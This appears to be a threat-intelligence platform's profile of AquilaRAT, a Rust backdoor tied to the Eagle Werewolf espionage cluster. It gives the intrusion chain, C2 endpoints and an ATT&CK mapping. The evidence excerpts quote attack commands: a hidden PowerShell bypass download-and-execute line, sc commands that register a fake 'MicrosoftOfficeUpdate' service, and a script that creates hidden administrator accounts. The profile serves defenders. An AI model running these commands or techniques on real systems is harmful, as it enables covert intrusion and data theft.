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MalwareUsed by 1 actor

AquilaRAT

AquilaRAT is a previously undocumented Rust-based remote access trojan/backdoor associated with the Eagle Werewolf cluster. It was observed in espionage-focused campaigns active since at least May 2023 and linked to activity detected in February 2026. Eagle Werewolf primarily targeted state/government organizations, industrial companies, and individuals involved in UAV/drone manufacturing and engineering, using Starlink registration and drone-themed lures distributed via phishing and compromised Telegram channels.

In the described intrusion chain, a Rust dropper disguised as a Starlink activation/checklist application decrypted and launched a Go dropper. The Go dropper unpacked components, created hidden local user accounts, attempted to add them to the Administrators group, prepared SSH tunnel configuration, and installed AquilaRAT as a Windows service named MicrosoftOfficeUpdate, using the binary MicrosoftOfficeUpdate.exe.

AquilaRAT communicates with infrastructure including updateserv[.]net and retrieves additional C2 addresses from servupdate[.]net/array/array9.json; configurationserv[.]com is also mentioned in related infrastructure. It generates a machine identifier from host hardware and system attributes, including computer name, BIOS serial number, system UUID, processor ID, and motherboard serial number, registers the victim with a /check endpoint, and polls /backup/get-time every 15 seconds. Reported tasking includes heartbeat/beaconing, command execution, file upload, and file scanning. The Cmd task executes PowerShell commands and uploads results to /cmd/upload-result. The Files task uploads files to the C2 in 5 MB chunks via /file/uploadChunk. The ScanFiles task enumerates files according to extensions, ignored substrings, and recursion depth, then sends metadata to /clients/files.

The malware was deployed alongside Go2Tunnel to support reverse SSH tunneling, providing the operators with persistent remote access in addition to AquilaRAT’s RAT functionality.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Eagle Werewolf

MicrosoftOfficeUpdate.exe is a previously undocumented Rust RAT, which we named AquilaRAT.

MITRE ATT&CK

Techniques & procedures

23 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques
T1566PhishingEvidence1

A separate espionage campaign linked to the Eagle Werewolf cluster used Iraqi hosting on Regxa infrastructure to deploy multiple remote access tools via phishing lures based on Starlink registration and drone training themes.

T1566.002Spearphishing LinkEvidence1

used Iraqi hosting on Regxa infrastructure to deploy multiple remote access tools via phishing lures based on Starlink registration and drone training themes.

T1566.003Spearphishing via ServiceEvidence1

Notably, in February 2026, it compromised one of the drone-focused Telegram channels to distribute malware.

Execution

4 techniques
T1059.001PowerShellEvidence3
TacticExecution

run-script.ps1, a PowerShell script to load and execute code via PowerShell. The file contains: powershell -w hidden -ep bypass -c "I''E''X...DOWNLOADDaTa(...)"

T1059.003Windows Command ShellEvidence3
TacticExecution

Cmd, performs the following actions: cmd /K chcp 65001 —sets the encoding chcp-65001, and then executes powershell <command>.

T1204User ExecutionEvidence1
TacticExecution

Upon execution, StarDebug_1.0.1.msi creates the directory %LOCALAPPDATA%\Star and extracts the following three files to it...

T1204.002Malicious FileEvidence3
TacticExecution

The URL hxxps://battleflight[.]org/download/installer hosted the executable BattleFlight-Install-v11.0.3.exe, a C# dropper disguised as an installer for a drone pilot training simulator.

Persistence

2 techniques
T1136.001Local AccountEvidence1

inst_u.ps1 ... проверяет существование УЗ $sshUserName и при необходимости создает ее... Далее выполняется попытка добавления новой УЗ во встроенную группу «Администраторы».

T1543.003Windows ServiceEvidence3

sc create "MicrosoftOfficeUpdate" binPath = "C:\Program Files\Microsoft Office Update\MicrosoftOfficeUpdate\MicrosoftOfficeUpdate.exe" ... sc start "MicrosoftOfficeUpdate"

T1543.003Windows ServiceEvidence3

sc create "MicrosoftOfficeUpdate" binPath = "C:\Program Files\Microsoft Office Update\MicrosoftOfficeUpdate\MicrosoftOfficeUpdate.exe" ... sc start "MicrosoftOfficeUpdate"

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence3
TacticStealth

The appwiz.cpl applet is packed with UPX and obfuscated with Oreans Code Virtualizer.

T1027.013Encrypted/Encoded FileEvidence2
TacticStealth

The dropper contains the EchoGather payload, which is Base64-encoded and XOR-encrypted.

T1036MasqueradingEvidence3
TacticStealth

BattleFlight-Install-v11.0.3.exe, a C# dropper disguised as an installer for a drone pilot training simulator.

T1070.004File DeletionEvidence1
TacticStealth

At the final stage of execution, the Rust dropper deletes the insider-[a-zA-Z0-9]{6} directory.

T1140Deobfuscate/Decode Files or InformationEvidence1
TacticStealth

the C# dropper contains the EchoGather payload, which is Base64-encoded and XOR-encrypted.

T1564.002Hidden UsersEvidence1
TacticStealth

скрипт добавляет настройку в реестре для сокрытия новой УЗ с экрана входа... UserList ... -Name $sshUserName -Value 0

Discovery

2 techniques
T1082System Information DiscoveryEvidence3
TacticDiscovery

EchoGather performs anti-virtualization checks, gathers system information, uploads it to the C2 server...

T1083File and Directory DiscoveryEvidence3
TacticDiscovery

ScanFiles ... The following fields are sent to the endpoint /clients/files: fileName relativePath fullPath fileSize createdDate modifiedDate

Collection

2 techniques
T1005Data from Local SystemEvidence1

Files, uploads a directory/file from the host to the C2 server.

T1560Archive Collected DataEvidence3

The updater.exe executable is a Go dropper that unpacks embedded gzip archives and launches final stage loaders.

T1071Application Layer ProtocolEvidence3

The C2 server is queried every 15 seconds.

T1071.001Web ProtocolsEvidence3

The C2 server is queried every 15 seconds.

T1105Ingress Tool TransferEvidence3

The loader then fetches the Node.js interpreter (if it is not present in the system) and the next stage obfuscated JS script.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

The payload then enters an endless loop in which it connects to the C2 server, encodes the system information in Base64, and exfiltrates it via an HTTPS POST query.

INDICATORS OF COMPROMISE

IOCs tracked for this family

31 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
10 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
12 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
9 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app13 days ago
domain●●●●●●●●●●●●View more in app2 months ago
domain●●●●●●●●●●●●View more in app2 months ago
domain●●●●●●●●●●●●View more in app2 months ago
hash.sha256●●●●●●●●●●●●View more in app2 months ago
uri●●●●●●●●●●●●View more in app2 months ago
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IOC matching31

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping23

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.